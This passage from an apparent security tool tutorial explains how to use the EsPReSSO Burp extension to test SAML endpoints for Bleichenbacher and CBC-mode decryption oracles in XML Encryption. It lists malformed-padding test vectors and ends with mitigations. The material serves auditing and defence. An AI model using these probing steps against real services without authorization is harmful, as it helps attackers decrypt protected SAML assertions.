01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
In the Encryption attack pane of EsPReSSO, ensure that the correct public key certificate has been added to the Certificate field. Insert a valid plaintext, such as the one above, into the Symmetric Key field and select Plain RSA encryption from the Algorithm drop down menu. Click the Encrypt button to compute the RSA transformation and apply the new EncryptedKey element to the intercepted SAML message. Now, submit the message by clicking Burp's Go or Forward button and carefully inspect the response.

Next, repeat the steps outlined above, but this time submit an invalid PKCS1 v1.5 message. For example, consider using an invalid BlockType of `12 34` instead of `00 02`, or replace the `00` delimiter so that the decryptor is unable to determine the actual message after decrypting the ciphertext. If you are able to determine from the recieved responses whether or not the submitted ciphertext decrypted into a valid PKCS1 v1.5 formatted plaintext, chances are high that the decryptor can be used as a Bleichenbacher oracle. Don't forget to take into account the actual XML data, i.e., the assertion encrypted with the new session key; by submitting valid or invalid XML, or by removing signatures from the SAML message or the assertion you may increase your chances of detecting differences in the returned responses.

Probing for Oracles in CBC-Mode Decryption

Another known attack on XML Encryption is aimed at the Cipher Block Chaining (CBC) mode, which can be used with the block ciphers AES or 3DES [2]. The attack is described in detail in this referenced paper [3] and is quite similar to Padding-Oracle attacks on CBC mode; the malleability of CBC mode encryption enables the attacker to perform a bytewise, adaptive manipulation of the ciphertext blocks which are subsequently sent to the decryptor. In most cases, the manipulated ciphertext will not decrypt to valid XML and an error will be returned. Sometimes, however, the plaintext will be parsed as valid XML, in which cases an error is thrown later on at the application layer. The attacker observes the differences in the responses in order to turn the decryptor into a ciphertext validity oracle which can be used to break the encryption.  Due to some particularities of the XML format, this attack can be very efficient, enabling decryption with about 14 requests per byte, and it is even possible to fully automate the process [7].

In order to determine if a particular SAML service provider is vulnerable to this attack, we can avoid the cumbersome ciphertext manipulation, if we are in possession of the decryptor's public key:
In the Encryption Attacker tab of EsPReSSO, add the public key certificate to the Certificate field (if necessary) and insert a symmetric key of your own devising into the  Symmetric Key text field. Select an appropriate RSA encryption method and click the Encrypt button to apply the new EncryptedKey element to the original SAML message. 

An XML message can now be inserted into the XML data text field. Select a CBC mode encryption algorithm and click Encrypt to apply the changes. As in the example above, press Burp's Go or Forward button to send the message and carefully inspect the response. Try sending invalid XML, e.g., by not closing a tag or using the `&` character without a valid entity and keep an eye open for differences in the returned responses. To manipulate the padding, the text field on the right side shows the hexadecimal representation of the plaintext, including the CBC padding. If you send a single block and set the last byte, which indicates the padding length to the blocksize, i.e. 16 or 0x10 for AES, the ciphertext should decrypt into an empty string and is generally considered "valid" XML.

Please refer to the original paper for more details, tips, and tricks for performing the actual attack [3]. 

Summary

The new XML Encryption attacker included in EsPReSSO can help security auditors to quickly assess if a SAML endpoint is vulnerable to known attacks against XML Encryption. To this end, the decryptor's public key is used in order to send suitable test vectors that can be provided in plaintext. Ciphertext manipulation is, therefore, not required. The actual process of decrypting an intercepted SAML message is, however, considered out of scope and not implemented in EsPReSSO.

In case you wonder how XML Encryption can be used in a secure fashion, here are some considerations [6]:
  • Always use an authenticated encryption mode such as AES-GCM instead of the CBC-mode encryption.
  • Using RSA-PKCS1 v1.5 within XML Encryption is particularly difficult to do in a secure manner, and it is recommended to use RSA with Optimal Asymmetric Encryption Padding (OAEP) instead [2].
  • Apply a digital signature over the whole SAML response, and ensure it is properly validated before attempting to decrypt the assertion. This should thwart the attack as a manipulated response can be recognized as such and should be rejected.
----------
Continue reading